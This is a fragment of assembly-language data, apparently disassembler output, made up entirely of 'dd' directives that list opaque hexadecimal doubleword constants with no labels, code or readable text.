		dd 578F7DF2h, 6EE4FA9Ah, 669AEF77h, 3E7A3E27h, 9A504D7Ah
		dd 0A4CB45A1h, 834E76B3h, 9EE805A8h, 91AF9F76h,	0BFAA7E7Ch
		dd 94D88CAFh, 196480C7h, 0A7F4013Bh, 1DBC710Ch,	0D4585CABh
		dd 0C40B0566h, 8F93E20Eh, 6D6BBC46h, 0B54F144h,	0D77FF5F0h
		dd 7361918Eh, 8C1F424Bh, 0F40EB922h, 7D86088Eh,	0F7346454h
		dd 0F6925FFDh, 0F319EB2Ch, 0E0DF546Ah, 62ABCB1Ah, 0C3763860h
		dd 56DF6A30h, 87246210h, 532A7D66h, 433F879h, 17620A1Ah
		dd 706220Bh, 8814E336h
		dd 2F5E9A70h, 7BA0BA3Dh, 15CD61B0h, 13D367A9h, 295F4029h
		dd 8758833Eh, 93E186ACh, 0A3AC6777h, 0E024E9ABh, 0A993BBFEh
		dd 0EC59197Dh, 6D132CA6h, 5D697B45h, 3230901h, 0EA9BA70Dh
		dd 0DE4E1037h, 933F203Dh, 4D738ED8h, 12549DB0h,	654BB5ABh
		dd 883D60ADh, 83BAFB52h, 3CEF418h, 0AD98B10Eh, 6A98118Fh
		dd 0F2BB958Dh, 1B4A7EA8h, 0F5747DF3h, 9F61491Dh, 0BDE819EAh
		dd 3E756017h, 81D2C525h, 928B7517h, 9C350658h, 272A6377h
		dd 68AE6389h, 42516ABEh, 0FEBC8FA9h, 9FEB6774h,	9CC668D8h
		dd 9146B376h, 2B466464h, 0D6E2D90Eh, 9190D986h,	16D09395h
		dd 345D077Bh, 0E98710E6h, 2DCD0C30h, 0B7065644h, 73D5E4AEh
		dd 10D8378Fh, 0FCB195Bh, 0CEDA3228h, 0C941EB34h, 0E8DB521Ah
		dd 939C1E3Ah, 0A286FF43h, 925A1F27h, 9C5C4984h,	974384ECh
		dd 0ECD3FF1Dh, 11E801E5h, 373012BCh, 7D47D529h,	4DDA625h
		dd 9035C229h, 0FD4E07A3h, 0ACDADA82h, 904F82A3h, 71D53AA5h
		dd 46E36331h, 0A79B1966h, 0F564A0F4h, 0C2FC04CFh, 0AC232EF6h
		dd 627E66AAh, 159EFFF2h, 0B8C067Bh, 1FB00B47h, 8F5A62CFh
		dd 476C2BBBh, 18AA6EDDh, 87328A9Fh, 1A8FDC56h, 34326E4Ah
		dd 0F5F81BCFh, 14DD5F61h, 0D6EAB184h, 259EFB0Eh, 0A29B4463h
		dd 9B49EEC4h, 0DF44F9DCh, 9E6145FFh, 0BFE8012Eh, 3275509Fh
		dd 0FED33A35h, 828B0BF7h, 0FC367A18h, 0E42B14F7h, 0E8B07288h
		dd 4F8D24B1h, 872D5E2Fh, 0C73E78CCh, 448CB495h,	0C895B0ABh
		dd 7DEED2DFh, 0ADEF8BF1h, 0ACDB7C16h, 0E0A6F6CAh, 2045FA84h
		dd 73040B3h, 4E958D69h,	5695926Fh, 8F758126h, 0F4769689h
		dd 0FD81442Dh, 56706C95h, 33046A17h, 6F28A46Fh,	8D5E30D7h
		dd 7D6900F7h, 2AEE1864h, 0F42E5FDFh, 0EEE59265h, 0ACE70D50h
		dd 1052779Bh, 458A2461h, 0FAB9C461h, 82CD734Fh,	0CC327D52h
		dd 835A418h, 53030A0Bh,	4CE3F5Bh, 88EC8CB8h, 16050540h
		dd 0A3938D91h, 0F280836Eh, 734B3B42h, 2537D6BCh, 84B5D056h
		dd 1FD5C98Ch, 4D9372DDh, 7A2B8329h, 0CD101ECEh,	977C5E31h
		dd 95D66A17h, 6A0816ACh, 0ED70DF53h, 493149A4h,	0F44D10CCh
		dd 1BAB29C7h, 9EA8B12Dh, 85AD710Fh, 0D842B1Ah, 6D3D64A3h
		dd 1085827Fh, 1E1BC3C0h, 119272B1h, 9D7A1B63h, 48792F2Dh
		dd 33B6F87Fh, 5D09023Ah, 0D83CC104h, 0BFB7E58Dh, 28B21043h
		dd 872DD669h, 0EAAD3D6Fh, 5F8F5B6Dh, 0F996905Ch, 3AB636ECh
		dd 0ADF0DE31h, 62597096h, 82D6D14h, 36496387h, 47EF76ABh
		dd 0AC1E438Bh, 95C57037h, 6349A852h, 5C29A08Bh,	3DA9E057h
		dd 0E13CA6D3h, 5FE14A93h, 0F2CBF978h, 0A910AB5Fh, 0CA8F57DDh
		dd 70C84E0Bh, 392A0DFh,	44C08A31h, 936C53BDh, 9F9EEF4Bh
		dd 47C0696Ch, 0C6FC4A22h, 17356DC1h, 0D3C68756h, 0BDA0F008h
		dd 0B75BEB92h, 0A85DEE6Fh, 72DD547h, 0EB91396Dh, 9CE35369h
		dd 0D4E42EDEh, 6F3BD73Eh, 17CAC009h, 6C5AF9F5h,	0E0ECAB2Dh
		dd 3DC12A94h, 4CF360Dh,	357CA830h, 0D0A27DC1h, 0E6DE72D6h
		dd 92393877h, 4865A05Ch, 882D3759h, 0D8BBC476h,	44BCFA7Ch
		dd 18021729h, 77295417h, 6CA46AF0h, 9C342945h, 0A040FF5Fh
		dd 9DD99498h, 0D4098BB2h, 887FA127h, 2E49CB6Fh,	682773F1h
		dd 6033C2FEh, 8DCA01AEh, 0CA765C77h, 40BDE51Ch,	3E573B57h
		dd 2AA6DF6Bh, 0DF765B95h, 9199078Eh, 19C3A7BEh,	2BA1514h
		dd 93862301h, 0A086353Ah, 50AAD618h, 7B92DC05h,	0F5F1FA10h
		dd 95A97517h, 0E6FE6036h, 0C3B1877h, 0A0F19F8Ch, 94858A73h
		dd 1ACC14CCh, 0B0577FA5h, 0A5834B61h, 0D79914F1h, 691E6A3Ah
		dd 4E41A0D3h, 0AABFC1BAh, 0E7683638h, 47318A8Fh, 0B375ECB1h
		dd 0F3AC772h, 7F35F7FDh, 0CFFC79A9h, 15DAF112h,	13CC5295h
		dd 78B304E7h, 0BB8E2EBFh, 0FD152466h, 5453ACE3h, 0F9793F4Bh
		dd 3AB79731h, 524ECE51h, 0CD6AF1A9h, 0F03E9F4Dh, 0C958DB27h
		dd 2F83CFE2h, 0B0004FCFh, 90FE6A58h, 716012Ah, 0E3F0E727h
		dd 0CB712FA0h, 724BC8F4h, 33619024h, 0BFD2276Bh, 0CE47F9D9h
		dd 0BDB1F4FDh, 8537A8B9h, 92B1B023h, 2508DB34h,	9147E2BAh
		dd 2E07FFB0h, 0B9B01B84h, 4EA9C796h, 4735D78Ch,	0E3C10451h
		dd 0D293A8C2h, 5C3BED0Fh, 101DFB3Eh, 78FDF4A9h,	935C7F67h
		dd 0FD6323BDh, 8169D7CBh, 78C3AC0Bh, 52B6F9F8h,	9C766179h
		dd 0B0E9AA48h, 995D9509h, 0C6792998h, 9F85A330h, 0FF7107B4h
		dd 0C7DD8926h, 0E7CFD877h, 24B11FA8h, 9D4323B1h, 0B86691DCh
		dd 3814CEB5h, 0BD3BE93h, 0BDB96EF5h, 750B45FDh,	3865D5DCh
		dd 953DE22Dh, 0E9110DAAh, 3B8BEABEh, 0B6EFF488h, 2249EB72h
		dd 0F320F8D1h, 0F9D98675h, 0CDF29923h, 79CCF879h, 0D04D1715h
		dd 87FD832Ah, 0A298D08Ah, 363F9486h, 0F96945CBh, 3AB75871h
		dd 52485F91h, 60F7AB29h, 40149115h, 0A1BED178h,	0F9172B3Ah
		dd 929BDCFh, 951345B4h,	0D25F114Ch, 0E97A848h, 0DBF151C3h
		dd 0CD33F327h, 32070133h, 7F7AB494h, 9AFF4ED6h,	0DD5DACE4h
		dd 4523FD2Ah, 6B19B022h, 0C7F858Bh, 9C8EF2D3h, 0C758092Ah
		dd 0B7B80C9Ah, 0DA3AC71Eh, 52CA57C5h, 93C97A39h, 1DC9196Ah
		dd 84261739h, 0BF5DEAC5h, 87DDE276h, 0AC21D28Ch, 0D93F908Ah
		dd 1C39A313h, 0A7E7C02Bh, 0AD16695Ch, 6CC357DCh, 5A7106D5h
		dd 0D2C2D7Bh, 7CD2A4FEh, 9F49D0CFh, 215CB5B8h, 9E7EFED9h
		dd 3EA203B1h, 50D49921h, 15D961E1h, 0B12D108Ah,	8976F29Ch
		dd 79A9C8BEh, 0C87CECE1h, 4068953Ah, 122EF02Eh,	0A40869Fh
		dd 1C0E5352h, 0C0E7C72Bh, 17901B9Ch, 0E5A9C7EEh, 4FC53BE4h
		dd 0BBA6EF9h, 0FE930E9Dh, 0ECC3D5DCh, 0F4A5EAA8h, 0D82DDD42h
		dd 0FA8C67C0h, 888EA02Ch, 79892068h, 0D548B254h, 0ADF262D1h
		dd 6AD6C356h, 0F5FF7944h, 0D9AC2FF4h, 0F9812F98h, 0A5EF6D8h
		dd 36301C4Bh, 757C132h,	1A377D88h, 3222CFA8h, 63FF8235h
		dd 552FC95h, 61F65B6Bh,	0DE08B114h, 0DD900211h,	0B42B8252h
		dd 0D4C14832h, 325985C0h, 601B448Bh, 0C17DFF2Eh, 0BDC8B3E6h
		dd 1B802F06h, 0F3B607D9h, 0B636D6F5h, 4DCA0DE2h, 0AC59E9D3h
		dd 40788350h, 8A0C345Dh, 0D2863E80h, 5A9AC401h,	911CD7E2h
		dd 0ADF3624h, 0BA557180h, 6C32E662h, 430F2D46h,	0D9AD2CC8h
		dd 0F9833198h, 0F5AA5958h, 9A64A5A4h, 0D3C42126h, 0F4D8187Bh
		dd 0CA32E308h, 0AE7F48CEh, 0D1A2E480h, 71CCB16Bh, 4C705ED6h
		dd 0E599F4E5h, 5BD8E13Ah, 47E1B417h, 3AD5852Fh,	9C74F244h
		dd 0C2E7EB60h, 0AFEDE490h, 0FAA9C7DAh, 0C0CAB37Bh, 5E886E90h
		dd 3609F2A3h, 0EF3BCD3Ah, 0F43AEA43h, 87A8FFB1h, 9D153052h
		dd 0FF625F4Dh, 8177C8EBh, 0DEA2D90Eh, 38555105h, 4324129h
		dd 0F0033426h, 0C9AE5F6Ch, 0F52BB0F2h, 0F4969C93h, 7E9B5EA4h
		dd 0E8889488h, 2347E846h, 253E5FA4h, 9BFCEB81h,	2286EBDCh
		dd 700AA469h, 7512AAF3h, 15A4FBE1h, 2BCB95C7h, 0A78C4C07h
		dd 0AAA5852Eh, 61F4F24Ah, 0C3EA0B63h, 79A01B92h, 0F1A9C7F3h
		dd 27C8FC0Ch, 43EC79C9h, 62DAF27Dh, 2CCDED1Bh, 4868172Bh
		dd 783DDAB1h, 16FB3EA1h, 4C438015h, 6E66F70Dh, 2A49C20Bh
		dd 4A60CE89h, 93226A17h, 0E0FCF4E0h, 0E9862194h, 6FD350Ch
		dd 0F553B015h, 0BEA342A4h, 0E87741D8h, 0E1992452h, 0EA9660B8h
		dd 6591B75Ah, 0C35E20E9h, 0BDC15B84h, 0C5FB4E28h, 2945C83Dh
		dd 86759F6h, 0D49D6CEEh, 3F04F168h, 3A0005BBh, 9AD17657h
		dd 83963A6Ch, 0C9309E02h
		dd 2141DBB4h, 82405CA0h, 749D32D2h, 0B3991D29h,	18C43833h
		dd 0AEE8216h, 430513FAh, 0B0E59688h, 0C620ACE3h, 0D5438BBDh
		dd 0D14D4C32h, 6FCA566Ah, 60026B45h, 6948CFF1h,	3EE337E7h
		dd 0F5A98630h, 95CC4CB4h, 141C7126h, 6C52FFEh, 0A68C2057h
		dd 13FE7429h, 982CE889h, 0F06B582Fh, 0DE1B9D2h,	0E1F104F1h
		dd 0F4BB18BFh, 6DB72B22h, 7AFCFC4Ah, 89E4022Eh,	0FE60F961h
		dd 85757427h, 71BFFE16h, 0E7B9A12Bh, 65F09639h,	5E1A65CCh
		dd 0E9BAEF5Eh, 0E15E0CCAh, 972D28DDh, 810A30B1h, 5D86F4CDh
		dd 18742880h, 6F3C064Bh, 0F37419A9h, 7C3D1AC9h,	0F572EDFCh
		dd 0C9514425h, 0F6E700E2h, 15265CA7h, 92762EB5h, 0FC7724AFh
		dd 11006964h, 0DF0A0FA8h, 1A5220ABh, 52D152Ch, 75A52D92h
		dd 88130B5Dh, 10F2F0B4h, 0DA02523Ah, 205058B5h,	0B232F340h
		dd 1D1E7B4Ch, 8B9C0CE0h, 878513A4h, 0D39C7FAh, 1F341D04h
		dd 0EF8C0209h, 0EACBFCA8h, 9CABC7F4h, 0D0750FB5h, 0C2A6883Dh
		dd 8610E376h, 6576CBE9h, 1A60671Bh, 3F3B1A5Bh, 424322F5h
		dd 0FB363A10h, 0E1EDE995h, 22669C0Dh, 582B0E5h,	5F59DBBh
		dd 860785B4h, 97670629h, 2307A997h, 2DB6D6AAh, 7AF3722Fh
		dd 0CAEA9FF1h, 9742B11Eh, 0D5E65ED1h, 0DBEA1D85h, 888E1EC4h
		dd 19E1A0CFh, 8B177551h, 1BE5120Eh, 8A9EFBAAh, 2920FAAh
		dd 6B323BBBh, 1735F02Dh, 94C69920h, 1C2A6FD3h, 0A53512BCh
		dd 5C7EE70h, 7F683FBBh,	9DF92F07h, 19EF3355h, 6D3323FFh
		dd 6F3BA19Bh, 0D74775E1h, 7C399DB5h, 0E00CEAC5h, 0F06F9F0Fh
		dd 0F93591F7h, 1E28F120h, 3A2362B2h, 0B5B781D6h, 0F3E478DBh
		dd 8139A32Bh, 9093B754h, 0CF2F11B9h, 920AD892h,	259EC5E6h
		dd 0F914479h, 51E07D7Dh, 0EC942BD7h, 93BC38C8h,	5DEF1ED8h
		dd 30557683h, 7DA1D7h, 8AE542F6h, 4A0E1091h, 0B8C4FC95h
		dd 28411426h, 69275A17h, 0D04CEEE8h, 7FA48EDDh,	9F078C4Fh
		dd 0D5A4EACBh, 0AC4D0461h, 3AB07666h, 6F78A04Eh, 7C385D39h
		dd 6CAD7732h, 0F084DB74h, 294C3035h, 7C7860B3h,	85C575F1h
		dd 14272587h, 0EC035167h, 3CFF0F3Fh, 92C4B4A5h,	0A35D5145h
		dd 4B0554D0h, 2D7773EAh, 9B2614F2h, 348B0999h, 6FF6992Fh
		dd 3883AAD6h, 9F24718Dh, 22E7BAE5h, 7D21454Dh, 0B180D7F6h
		dd 74E59796h, 0E34A8898h, 0AD8F64BBh, 25C39608h, 575E549h
		dd 6AA9BB91h, 95056E50h, 20663390h, 6D3583D0h, 115CEC47h
		dd 6537A084h, 0ABCC54E2h, 105318C1h, 0C995A484h, 0BC5261F2h
		dd 597005C4h, 0E3460D44h, 0EBC64A69h, 0E2D2E472h, 2C94BEB8h
		dd 0B30FA7A4h, 296A4849h, 78BDA485h, 0AD14B652h, 3DE8EF14h
		dd 62C26D7Bh, 0AA442BD7h, 152C3FCAh, 46EF0ECEh,	0D2527481h
		dd 0E47DA6D8h, 0AE8233B0h, 7FC55C1Fh, 58C4FC6Bh, 0E84119FBh
		dd 0E9275A68h, 0D04CED53h, 0CD5F1EDh, 0E659EB56h, 19EFD7E9h
		dd 0E4B68D43h, 0C6ED20FBh, 0D9AA1170h, 70B1E96Ch, 0E0FFC0C0h
		dd 31D03E94h, 97566CBh,	0E60B2830h, 35AE303Fh, 4C0218Ah
		dd 0A7A9219Ch, 2478D440h, 461722Dh, 6A12FC89h, 959F2F69h
		dd 5AF71458h, 0EC48E8A7h, 0CB1E1EC4h, 0CB89E3B6h, 9E60BBB9h
		dd 0D0CD2805h, 0B21385E4h, 89C06F6Ah, 0AE497756h, 0E229898Ah
		dd 0D3C97927h, 1491B3E1h, 0A1F08E6Ch, 404C1DB0h, 87923967h
		dd 43056E54h, 0A30C226Ch, 919260DBh, 5E88C1BEh,	0AD265C99h
		dd 6C3810DCh, 0C586F8C5h, 0C995B684h, 0AAD18971h, 90FC6366h
		dd 9E0BF65Ch, 52B41AA3h, 0D9DE4BFAh, 0DCC91BADh, 0B485C1B4h
		dd 296894C9h, 2EDDD685h, 0D11FC439h, 9C225DF2h,	0B7C39552h
		dd 1B51A02Ah, 9DBC3F86h, 4164F28Ch, 0DBEBDD85h,	3E06BDAEh
		dd 0A8513809h, 8435009Ah, 1BC9E372h, 0FDCAF851h, 0B26C10D9h
		dd 30019655h, 87203D04h, 9F056E56h, 0D1A59A0Dh,	91760804h
		dd 2A0F24BEh, 7424CB9h,	3A6BF520h, 0E8521412h, 4085C20Fh
		dd 0FDAE5E2Dh, 82FE3343h, 0D3DD33B0h, 134BA12Ah, 0E6AE0027h
		dd 18BADFA8h, 8E89BCA8h, 9E9D3Ch, 0A55FA0E2h, 8C5C108Eh
		dd 0B6CE8931h, 271C29B5h, 16B1A03Fh, 71839FC8h,	7067A184h
		dd 2A62FF61h, 0FC79A1DCh, 0E37E3FB0h, 57350066h, 68D9627Bh
		dd 9843E5FBh, 0A0765878h, 4C099446h, 0CD1F1E8h,	9D557A1Dh
		dd 0D136D7B8h, 0F926F086h, 3AB0CBFEh, 525723B1h, 7CFC9369h
		dd 0B5845C4Ch, 0C997767Ch, 7082B17Bh, 78B671DCh, 96566D0Bh
		dd 147F6C26h, 0B723C877h, 30BAFA21h, 0D8D8E4A0h, 0A28E4947h
		dd 7DBAB4E0h, 81FF0B5Ch, 0BAFC8FA4h, 32F4C668h,	53915CC7h
		dd 94B4BAC4h, 789887B5h, 0CDC87669h, 0FE7AD553h, 0F9E7980Dh
		dd 9C68EC13h, 93EE35F6h, 68CAEDBEh, 3A603608h, 0D7C9F55Eh
		dd 44A4B462h, 0E9FA9167h, 0DF63B206h, 899DF703h, 7DBCD413h
		dd 24A08F2h, 0F28787Ah,	4E78E45h, 4A95B190h, 3F507B36h
		dd 0A82E766Fh, 9629D877h, 14E6ADABh, 0B723A877h, 576ABA21h
		dd 4DC27F9h, 0A2D71889h, 9582ACD0h, 0D17F4DAAh,	0B7ADC071h
		dd 0E446CEE0h, 16F1DFB2h, 0CBD39FC8h, 5AF48701h, 771BBAE6h
		dd 298DA1DAh, 9EDA579Dh, 53A0E88Ah, 474A897Bh, 980964AEh
		dd 0A734AF5Ah, 448A154Ch, 5FA4B47Bh, 0D5583502h, 0CCF65765h
		dd 1E69843h, 0BA2038FEh, 7D2DD89h, 9352F660h, 0E0EBEAADh
		dd 0BDADDA94h, 6BD7DF2h, 0F5752405h, 0B3DF39B4h, 14C10126h
		dd 0B12F64F4h, 0B9B3C8FEh, 6789DD4Ch, 2984076Fh, 819963CCh
		dd 0D17B4ED1h, 0B6BE121Ah, 7614FF38h, 13DDE5B4h, 0D2483FCAh
		dd 0C739464h, 30D37C6Dh, 0F861A1D8h, 72463BB8h,	4F350098h
		dd 0B5A38090h, 7DD90356h, 67F08A81h, 9E13F94Dh,	77603F37h
		dd 1608E73Ah, 0D566C7F1h, 1B55537h, 2A9714F3h, 7424D39h
		dd 3A6BF620h, 0E8521212h, 9A85C60Fh, 72D805A4h,	1D252C75h
		dd 96564673h, 2DD1F5A5h, 6B271D87h, 0ED383477h,	0D068BE5Bh
		dd 0EAD84F92h, 28DEDB18h, 5A24AB58h, 3DC114B7h,	0ADAB997Dh
		dd 2B61A87Ah, 92001E31h, 0FF75464h, 31D37C6Dh, 20DE27D8h
		dd 0B1054A36h, 3735009Ah, 0A3EE35F6h, 0ECAEDBEh, 0A8B808B0h
		dd 40BE3995h, 0F3ED317Dh, 7AED3E47h, 566C78Ch, 918D89A0h
		dd 58B0A84Fh, 781163Ch,	9352F6E0h, 0E0EB19ADh, 0BDADD494h
		dd 6BD61F2h, 0F5751C05h, 0B3DF29B4h, 14C12126h,	0B12BA4F4h
		dd 0B9B348FEh, 6796DD4Ch, 2982066Fh, 819D63CCh,	0D1734ED1h
		dd 46CD3971h, 53CB8538h, 1714672Ah, 83D07AB1h, 6764F28Ch
		dd 32179BBDh, 7F924AB9h, 0DF3A9EF5h, 3DDDFF66h,	0B8C9897Bh
		dd 55CC87B6h, 6C33C16Dh, 9E13DE52h, 77603F35h, 1608E726h
		dd 0D566C789h, 1B55507h, 2A9714D3h, 1424DF9h, 30B3447Fh
		dd 85C8861h, 0C995AA27h, 9F1FFAABh, 0F5351BC7h,	0D5DCBFC0h
		dd 4429012Eh, 0BBDCD78Bh, 0DC321C6Fh, 49137A4h,	0E906108Fh
		dd 958AAAE9h, 0D16F562Ah, 0C24181ABh, 0D915163Bh, 0C64DE3B4h
		dd 0D29F0E81h, 0EFDB464h, 0E392A66Dh, 8F06E725h, 0B2FA4C0Ah
		dd 0DB20E8CAh, 84907684h, 9DCAD1FCh, 0DB55D386h, 344C9D08h
		dd 0BCD28545h, 0E421D358h, 5113D785h, 0B5CB0C34h, 2AA0A8DCh
		dd 0B9424D99h, 93B955E0h, 0E00F99C5h, 21C65FF6h, 6268E2Dh
		dd 934CFF69h, 9657BE73h, 0EBC50AA5h, 6B6B4BFAh,	9FB697EBh
		dd 9FD23EECh, 0A0C85741h, 3E29B0D6h, 0FD28C799h, 3FC1477Fh
		dd 65268D7Bh, 73122977h, 0A0839CCh, 4DE9EECFh, 0C547645h
		dd 1DDA14D8h, 353404AEh
		dd 2F35009Ah, 73EE35F6h, 0A8CAEDBFh, 1359360Fh,	0C0A89162h
		dd 0F315DC78h, 0E9617E46h, 5C66C7B4h, 0B4FF6CFBh, 2AB0A83Eh
		dd 14EA13Ah, 9B145FFh, 809F1ADh, 0C995AEC7h, 59CB0ABh
		dd 0F5751030h, 0C65FE03Fh, 0EB3F93CEh, 0A7A9B188h, 20765C4Ch
		dd 8F90DF5Bh, 206A14CCh, 0E14EA2FFh, 88674EC0h,	53348F31h
		dd 0ADE0CB67h, 0D5D55072h, 83007A4Ch, 54087B8Ch, 2DA872AEh
		dd 0CE85E451h, 3B5E3A1h, 9C737448h, 52CDAD37h, 0F98E677Fh
		dd 63BA848Eh, 3248E789h, 4F44344h, 1E716DA9h, 5BEE0DB4h
		dd 6B034044h, 0CA716987h, 0DB8A4F51h, 7CD8D3A8h, 318653C4h
		dd 8965A07h, 0FFAD7B1Bh, 27F0A7C3h, 91DFABC0h, 0EEB42B61h
		dd 0C6644328h, 63B6DCACh, 8F92B7A4h, 29A9A841h,	2EA0A495h
		dd 0C147025Ah, 0BF5D5879h, 2AAFC1B3h, 5E1BA7D4h, 0C18379C9h
		dd 7CAD77C5h, 0A537498h, 0CC46BF59h, 0BBDE3B9h,	5D34EB50h
		dd 66C9B3FBh, 141A6445h, 0D3BE104Fh, 0C04C1D05h, 870A08E7h
		dd 45056E4Ah, 782A4CCEh, 0B52A8207h, 0A37F210Eh, 88CB0981h
		dd 0E42A986Ah, 95DD1E55h, 965D3076h, 0AA49B8A9h, 0FD5144BBh
		dd 9A73C93Fh, 152A5BAFh, 0E21A2835h, 0DED0A5DDh, 8C1974E6h
		dd 0E90B1644h, 0B52B52E0h, 6ED28D8Ah, 0B76104F2h, 26BC29B5h
		dd 0FF1A03Fh, 0DF0B2D17h, 4C6FE2A8h, 1797EB49h,	0C0A59151h
		dd 778C2C2Dh, 23418B45h, 0F340CF6Fh, 68CAD53Fh,	0C7EB5A83h
		dd 0B8C55A26h, 9715A2E1h, 9D468538h, 5372E3D1h,	0C22609A5h
		dd 2AA78A06h, 5A86CD19h, 0ACBDD660h, 203E57B0h,	0ACEE4DBh
		dd 0A0D9027Fh, 0F6B58768h, 7EAB7D37h, 14C18135h, 217168FEh
		dd 4CB40F38h, 1F032734h, 0B91C845Ch, 2C3C3405h,	0D14B4EECh
		dd 932589F2h, 0A77FE730h, 5CC1A0D6h, 90405741h,	9E1F28Ch
		dd 2807FF50h, 62699751h, 7F594E34h, 84F9899Bh, 37890273h
		dd 285A2EEFh, 0B0360Eh,	971A4E10h, 0C39E9FFh, 538C660Bh
		dd 50234C6Dh, 18666CECh, 25702D38h, 5242ACBDh, 604596A9h
		dd 4E8A9A45h, 4295BB84h, 29306FB7h, 7E750030h, 0D56C9DF7h
		dd 47CEC636h, 0E236F69Fh, 1CA186A8h, 8F03BBABh,	0DEEB14CCh
		dd 9AAA496h, 0DB3D18C5h, 0E7AD4179h, 266C17D0h,	50F5233Fh
		dd 6BF03FC8h, 0FBA1358Bh, 2917FF6Dh, 0C475A1DAh, 363C3FB0h
		dd 0B2BE0EEEh, 0DF9C0282h, 0D48A3D90h, 0AFD83FCEh, 0CBA06895h
		dd 0C4A65878h, 656E508h, 19EF1644h, 650B3057h, 6F77A1BDh
		dd 52424821h, 98459269h, 1C4A0692h, 0D9D61FD4h,	7C549A2h
		dd 31F743CFh, 6A1286B8h, 514B5927h, 6FC0618Bh, 0CCAB0FEBh
		dd 9F154DA5h, 2902694Fh, 95DBAFE1h, 0D0935D2Ah,	0C21981ABh
		dd 56BD1030h, 0A1EEF2BAh, 87371CBEh, 410FA8Ch, 9F6173Eh
		dd 0A4DCE451h, 7730CBB0h, 6F50F763h, 86427954h,	8C1B6442h
		dd 33C2245Ah, 2CC54641h, 0ABD775Bh, 4305496Eh, 0A30C23E0h
		dd 919291C3h, 5E88C3CEh, 0AD2658F9h, 6C38191Ch,	0C586E845h
		dd 0C9959584h, 0AAD44F71h, 90FDEF66h, 9E0AFE5Ch, 0E2E67075h
		dd 1D6E3877h, 0DCDCA3BDh, 0FA5DB2B4h, 0C1FA7EC4h, 7D8ABCEAh
		dd 2CCA8988h, 0B7C104F2h, 91FD6B3h, 731F3C0h, 8480A0A9h
		dd 89CC198Ch, 1B9C1328h, 740CE4DAh, 0C2FC4C11h,	83708BCBh
		dd 0DBA8612Dh, 5949EDBAh, 49B81080h, 0A40996F7h, 9F6C5C57h
		dd 955C6E14h, 6D993A28h, 0CA285673h, 4E40E625h,	52424510h
		dd 80B118E9h, 0E00B4E98h, 0C9B22A09h, 0ACD8A5F2h, 0A32751B9h
		dd 0FCA14CE3h, 1CD3296Eh, 6B670877h, 0A8E11A6Bh, 5B75E4FDh
		dd 70F814DAh, 0F49CE11Eh, 95000E92h, 0F38A8DE2h, 0A2FFF6Bh
		dd 5E38C057h, 8905F151h, 0FD6498DCh, 4EAFF78h, 0BA426D41h
		dd 0EA3CC3B6h, 7ACA0AEEh, 0E3C975EDh, 0E3212B33h, 13632B01h
		dd 0C0B1190Bh, 78D28910h, 1C7091E9h, 0A0F6D39Eh, 57FF19BBh
		dd 0D239AF55h, 0BA115D52h, 93C7EFC2h, 94F90A1Ch, 897DC183h
		dd 0A0D8A7FAh, 0AA8B78B3h, 550A3EEAh, 14E54DABh, 0B13FE877h
		dd 0DC375540h, 0A5DBEA4h, 43F1610Ch, 6AEB4C94h,	51DE4ED1h
		dd 484E0089h, 534F6AC7h, 0FB5E3B4h, 79A06FBEh, 0D5B7E28Ch
		dd 517E9BEh, 0CA858E08h, 2644CFE0h, 0C7F65B8Bh,	0E3EE35F0h
		dd 8ECAEDBAh, 0A017AF0Bh, 2811681Fh, 852DB401h,	163120F0h
		dd 0CCC59F7Dh, 79660935h, 2AB0A0CDh, 0D64D89DCh, 6C3818BFh
		dd 0E01AE92Dh, 0C6551584h, 0F9D86076h, 0E2ED4430h, 62BF6DB4h
		dd 0FCC2E131h, 0E23FD428h, 0DC3DE540h, 0D79B48A4h, 92F6143Ch
		dd 6D904931h, 0C37C4B3Ah, 36BDC771h, 59E631C3h,	0B662D22Fh
		dd 85C07AD0h, 31408E0Fh, 856C8A6Dh, 3775BC6Ch, 4CC7C7E5h
		dd 5FD8A420h, 6CCC626Dh, 39096EA9h, 81972808h, 333E0D19h
		dd 7775B9FDh, 4EE7E1Ah,	5C9E56D8h, 1D541DBh, 0D5A0AB66h
		dd 0A50ECC6Dh, 51BB0829h, 0F00F76D5h, 2170E484h, 0F9D8B22Dh
		dd 0F56192D8h, 9C92BDB4h, 29401126h, 0F23F5EFBh, 0B4132BA8h
		dd 8F9FB7A4h, 0A54614A6h, 2D82A463h, 2DF35B2Eh,	0B26614F2h
		dd 491B63B4h, 5FF1A03Fh, 45B169AAh, 4067E667h, 7214F349h
		dd 0D1858E59h, 1EB9D23Eh, 4734B8C2h, 4192897Dh,	485AEDB6h
		dd 7A603600h, 4C11964Eh, 23DC188h, 95081BC7h, 5C969E48h
		dd 950309C3h, 7D5B6A5Fh, 2643B29Ah, 6EC398ECh, 0B35981B0h
		dd 999DD70Fh, 626631Ah,	81B421CFh, 1D040B8Ah, 0FC930963h
		dd 1DC07948h, 27A15821h, 0A8FC2A5h, 7FE86133h, 3817A4FFh
		dd 78131ED9h, 3256FB0Ch, 0DBEEE1E3h, 4EA4A3C4h,	0CFCB2917h
		dd 0A88CA284h, 85E80093h, 0A879191h, 45414E0Ah,	8D685BC5h
		dd 3E598971h, 28CACAC6h, 0B03600h, 971A4E00h, 425F187h
		dd 0FEC46DDEh, 5286077Fh, 0D176B956h, 0DD39AA7Eh, 540AEF8h
		dd 6C251141h, 0A586D045h, 0BC55167Ch, 6DDD68E3h, 0F564A0C6h
		dd 0A75745B4h, 16FDD8E6h, 7A9E6877h, 5732DEADh,	8EE5A3B1h
		dd 123515DCh, 69EB5CD0h, 0D563535Ah, 2F3014F3h,	59EB943Dh
		dd 9ECF29F8h, 87EB78AFh, 0B61CB707h, 28CD76AEh,	14556D93h
		dd 0D7494E32h, 23B8027Bh, 37DC007Eh, 0D4DAECBFh, 25F1FA73h
		dd 45D4BEC8h, 78CA40Ch,	95156EF0h, 9F5FC2CDh, 0ACF50496h
		dd 3AB05AC6h, 20C746D9h, 0CD381B68h, 0F00F794Dh, 4061D90Dh
		dd 0F92839EFh, 1311720h, 55D44E3Dh, 94A6F22h, 0F23FB8F7h
		dd 0DCD29B09h, 0FB2032B4h, 5F3A2DC8h, 0F9852D93h, 59E34E21h
		dd 0B7990902h, 5B421538h, 5FE1209Eh, 3A84F751h,	0CFE45170h
		dd 179CEF6Dh, 2F8514D1h, 12B4377Ch, 0B6B5009Bh,	51270A7Fh
		dd 1CCE2E38h, 7C33230Eh, 0FBB04596h, 87DD2C3Bh,	2D371912h
		dd 5C96563Ch, 30647EFBh, 3AB05AD2h, 0C54D8FC0h,	6DD898F9h
		dd 0BFFCDCCh, 39013C97h, 3FE1A3F2h, 76A40F3Fh, 56D7B454h
		dd 0E486D824h, 9CF6DFCh, 7C176498h, 0F8F13754h,	0D97FB5D9h
